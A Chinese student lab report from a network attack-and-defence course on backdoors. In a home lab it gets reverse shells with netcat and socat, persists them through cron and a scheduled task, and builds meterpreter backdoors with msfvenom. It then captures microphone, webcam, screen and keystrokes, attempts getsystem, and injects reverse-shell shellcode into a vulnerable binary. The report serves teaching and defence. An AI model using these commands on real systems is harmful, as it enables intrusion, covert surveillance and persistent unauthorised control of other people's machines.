• 2019-2020-2 20175225 张元瑞 网络对抗技术 Exp2 后门原理与实践


    2019-2020-2 20175225 张元瑞 网络对抗技术 Exp2 后门原理与实践

    一、实验目标

    • 清楚后门概念
    • 会用nc获取远程主机的Shell
    • 会用meterpreter
    • 会启动后门

    二、实验内容

    • 使用netcat获取主机操作Shell,cron启动;
    • 使用socat获取主机操作Shell, 任务计划启动;
    • 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell;
    • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权;
    • 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

    三、基础问题回答

    例举你能想到的一个后门进入到你系统中的可能方式?

    • 下载某个软件或者误点链接时后门可能进入系统

    例举你知道的后门如何启动起来(win及linux)的方式?

    • Windows中在开机的时候自启动或者用户执行带后门的文件的时候启动
    • Linux中可以通过cron启动

    Meterpreter有哪些给你映像深刻的功能?

    • 除了本次实验中完成的通过后门控制被控主机的shell,调用麦克风、摄像头、键盘、读取屏幕,还有从被控主机上对相关文件的下载和上传。

    如何发现自己有系统有没有被安装后门?

    • 通过杀毒软件检测系统有无异常
    • 查看系统的自启动项,注册表有无异常
    • 通过nestat -na查看是否有异常开放的端口

    四、基本工具熟悉

    1.ncat

    • 是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。

    准备

    • 通过命令查看windows主机及kail机的ip,同时检查两者是否互ping通过
    • 在老师提供的附件中下载ncat.rar
    windows(ipconfig):192.168.80.1
    kail(ifconfig):192.168.80.132
    
    

    (1)Win获得Linux Shell

    • windows 打开监听E:大三下网络对抗技术第二次实验 cat>ncat.exe -l -p 5225
    • Linux反弹连接nc 192.168.80.1 5225 -e /bin/sh
    • 进入主机,通过命令ls/或其他,验证运行kail的shell

    (2)Linux获得Win Shell

    • Linux运行监听指令nc -l -p 5225
    • Windows反弹连接Linuxncat.exe -e cmd.exe 192.168.80.132 5225

    (2)nc传输数据

    • 直接传输文字:主机下建立监听端口5225ncat.exe -l 5225,kail下建立连接至主机端口nc 192.168.80.1 5225,建立成功后可进行文字传输

    • 传输文件
      • Windows下建立端口同时定义接收地址ncat.exe -l 5225 > file.in
      • kail下创建测试文件file.out
      • 连接至主机进行文件输送nc 192.168.80.1 5225 < file.out

    2.Socat

    • 又称Netcat++,超级netcat工具,是nc的加强版
    • 任何代理、转发等功能都可以用该工具实现
    • 使用方法与nc类似

    3.Meterpreter(使用msfvenom生成后门可执行文件)

    • 后门是一个程序
    • 有人建立一个平台,详细说明了后门的
      • 基本功能(基本的连接、执行指令),
      • 扩展功能(如搜集用户信息、安装服务等功能),
      • 编码模式,
      • 运行平台,
      • 以及运行参数

    4.corn

    • Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以man cron

    五、实验任务

    任务一:使用netcat获取主机操作Shell,cron启动

    1.思路

    • 在windows里监听
    • 在Linux里利用corn设置定时启动反弹指令
      2.实验步骤
    • 在Win主机监听5225端口

    • 在Kali中,用crontab -e指令编辑一条定时任务,以定时可反弹至主机端口,进入后编辑器选择3即为vim编辑器
    • crontab -l可查看编辑情况
    • 增加命令为20 * * * * /bin/netcat 192.168.80.1 5225 -e /bin/sh即为每个小时的第20分钟时执行后方命令(数字填写以自己做实验的时间来定)

    • 当时间到后进行测试,此时可以看出未到时间时,是无法执行获取kail shell的

    任务二、使用socat获取主机操作Shell, 任务计划启动

    • 在Windows系统下,打开控制面板->系统和安全->管理工具找到任务计划程序开始创建任务

    • 点击触发器选项卡,选择新建,然后将开始任务设置为工作站锁定时

    • 点击常规选项卡,输入名称,在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5225 exec:cmd.exe,pty,stderr(两个参数之间用空格或者;),这个命令的作用是把cmd.exe绑定到端口5225,同时把cmd.exestderr重定向到stdout上:


    • 创建完成之后,windows+L锁定计算机让任务开始执行。然后在Kali环境下输入指令socat - tcp:192.168.80.1:5225这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5225端口,此时可以发现已经成功获得了一个cmd shell


    任务三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell;

    • 在kali中输入指令
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.132 LPORT=5225 -f exe > 20175225_backdoor.exe
    

    此时因为在控制端生成后门,所以此ip为kail的ip地址

    • 同准备阶段:将生成的后门程序传输到主机
    • 在主机下执行ncat.exe -l 5225 > 201725225_backdoor.exe
    • 在kali中通过nc 192.168.80.1 5225 < 20175225_backdoor.exe将生成的后门程序传送到主机上

    • 回到控制端,通过命令msfconsole进入控制台

    • 调用监听模块,设置与生成后门时相同的payload,同时设置返回的ip和端口号
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST 192.168.80.132
    set LPORT 5225
    
    • 设置完成,执行监听exploit
    • 回到主机点击打开传输过去的后门程序,可以观察到kail取得链接,并可以远程控制主机shell

    任务四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权;

    • 保持任务三,之后进行任务四操作
    • 使用record_mic指令截获一段音频

    • 使用webcam_snap/webcam stream指令可以使用摄像头进行拍照/摄影

    • 使用screenshot指令可以进行截屏

    • 在kali中使用keyscan_start指令开始,在windows中记录下击键的过程,使用keyscan_dump指令读取击键的记录

    • 先使用getuid指令查看当前用户,使用getsystem指令进行提权(提权操作可在别的win7虚拟机下进行)

    任务五、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

    使用msf生成shellcode

    • 首先生成shellcode:Payload是是包含在你用于一次漏洞利用(exploit)中的ShellCode中的主要功能代码。与任务三不同在linux中有效载荷不同linux中的有效载荷为linux/x86/meterpreter/reverse_tcp可通过命令msfvenom -l payload
    • 通过命令生成后门程序
    msfvenom -p linux/x86/meterpreter/reverse_tcp -x pwn1.bak LHOST=192.168.80.132 LPORT=5225 -f elf > pwn1_exp2
    

    • 在另一个终端中启动mfs控制台(和任务三中过程相同),此时的playload为linux/x86/shell/reverse_tcp
      kali输入msfconsole进入msf控制台,后输入:
      use exploit/multi/handler进入监听模块,设置payloadset payload linux/x86/shell/reverse_tcp,使用与生成后门程序时相同的payloadset LHOST 192.168.80.132,set LPORT 5225使用5225端口,exploit设置完成,开始监听;

    从网站上下载shellcode

    • shellcode网站中下载一个linux/x86平台的shellcode,用于反弹连接


    将里面的机器码复制出来

    x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80
    
    • 注入前的准备工作(同实验一)

    • 通过gdb调试寻找shellcode的起始地址
      初始input_shellcode:
    perl -e 'print "A" x 32;print"x04x03x02x01x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input_shellcode
    

    gdb调试

    • 通过gdb调试找到shellcode的返回地址0xffffd290,然后复制出下载的文件中的shellcode机器码,将返回地址添加到最前面,同时生成用于注入的input_shellcode 文件,具体代码如下:
    perl -e 'print "A" x 32;print"x90xd2xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input_shellcode
    
    • 在新终端b中启动msfconsole,执行和任务3中同样的指令打开监听
     use exploit/multi/handler 
        set payload linux/x86/shell_reverse_tcp 
        set LHOST 127.0.0.1 
        set LPORT 4444     ##在下载的图中有标注相应的IP地址和端口号
        show options 
        exploit
    
    • 在终端a中通过管道符对input_shellcode进行注入,执行(cat input_shellcode;cat) | ./pwn1 ,可以看到能够成功运行


    六、实验总结

    实验中遇到的问题

    • 问题1:在进行任务四录音的时候,输入指令,出现如图错误。

    • 解决方案:经查询发现是因为麦克风权限被关了,导致无法访问麦克风,从而出现了如图的提示,打开麦克风权限就可以正常录制了。

    • 问题2:在做任务3时,msfconsole中出现如图情况

    • 解决方案:经多方探寻发现是因为电脑杀毒软件把后门程序当做病毒杀死了,从而导致程序无法运行,把杀毒软件关闭再将后门程序传到主机就可以了。

    实验总结

    本次实验学习到了后门的基本原理,掌握了后门的生成过程和注入方式,对一些常用的后门程序和命令有了比较基础的掌握。
    本次实验中遇到了很多问题,有些是自己粗心导致的,有些是自己所没有接触到的,在网上查找资料和询问同学以后还是得到了解决,尽快花费了很多时间,但还是有很大的收获。本次实验也让我意识到后门功能的强大性和危害性,因此我们对后门的防范也是非常重要的。

  • 相关阅读:
    .NetCore 导出Execl
    10块钱可以喝几瓶?
    menuStrip鼠标滑过自动弹出
    静态变量
    DataTable.SELECT日期类型筛选处理
    Java中accept()阻塞是如何实现的
    L1正则在0处不可导怎么办?
    L1和L2正则化原理推导.md
    5局3胜和3局2胜哪个更容易赢.md
    Java集合(一): 集合框架Collection和Map
  • 原文地址:https://www.cnblogs.com/zhangdeshuai/p/12505591.html
Copyright © 2020-2023  润新知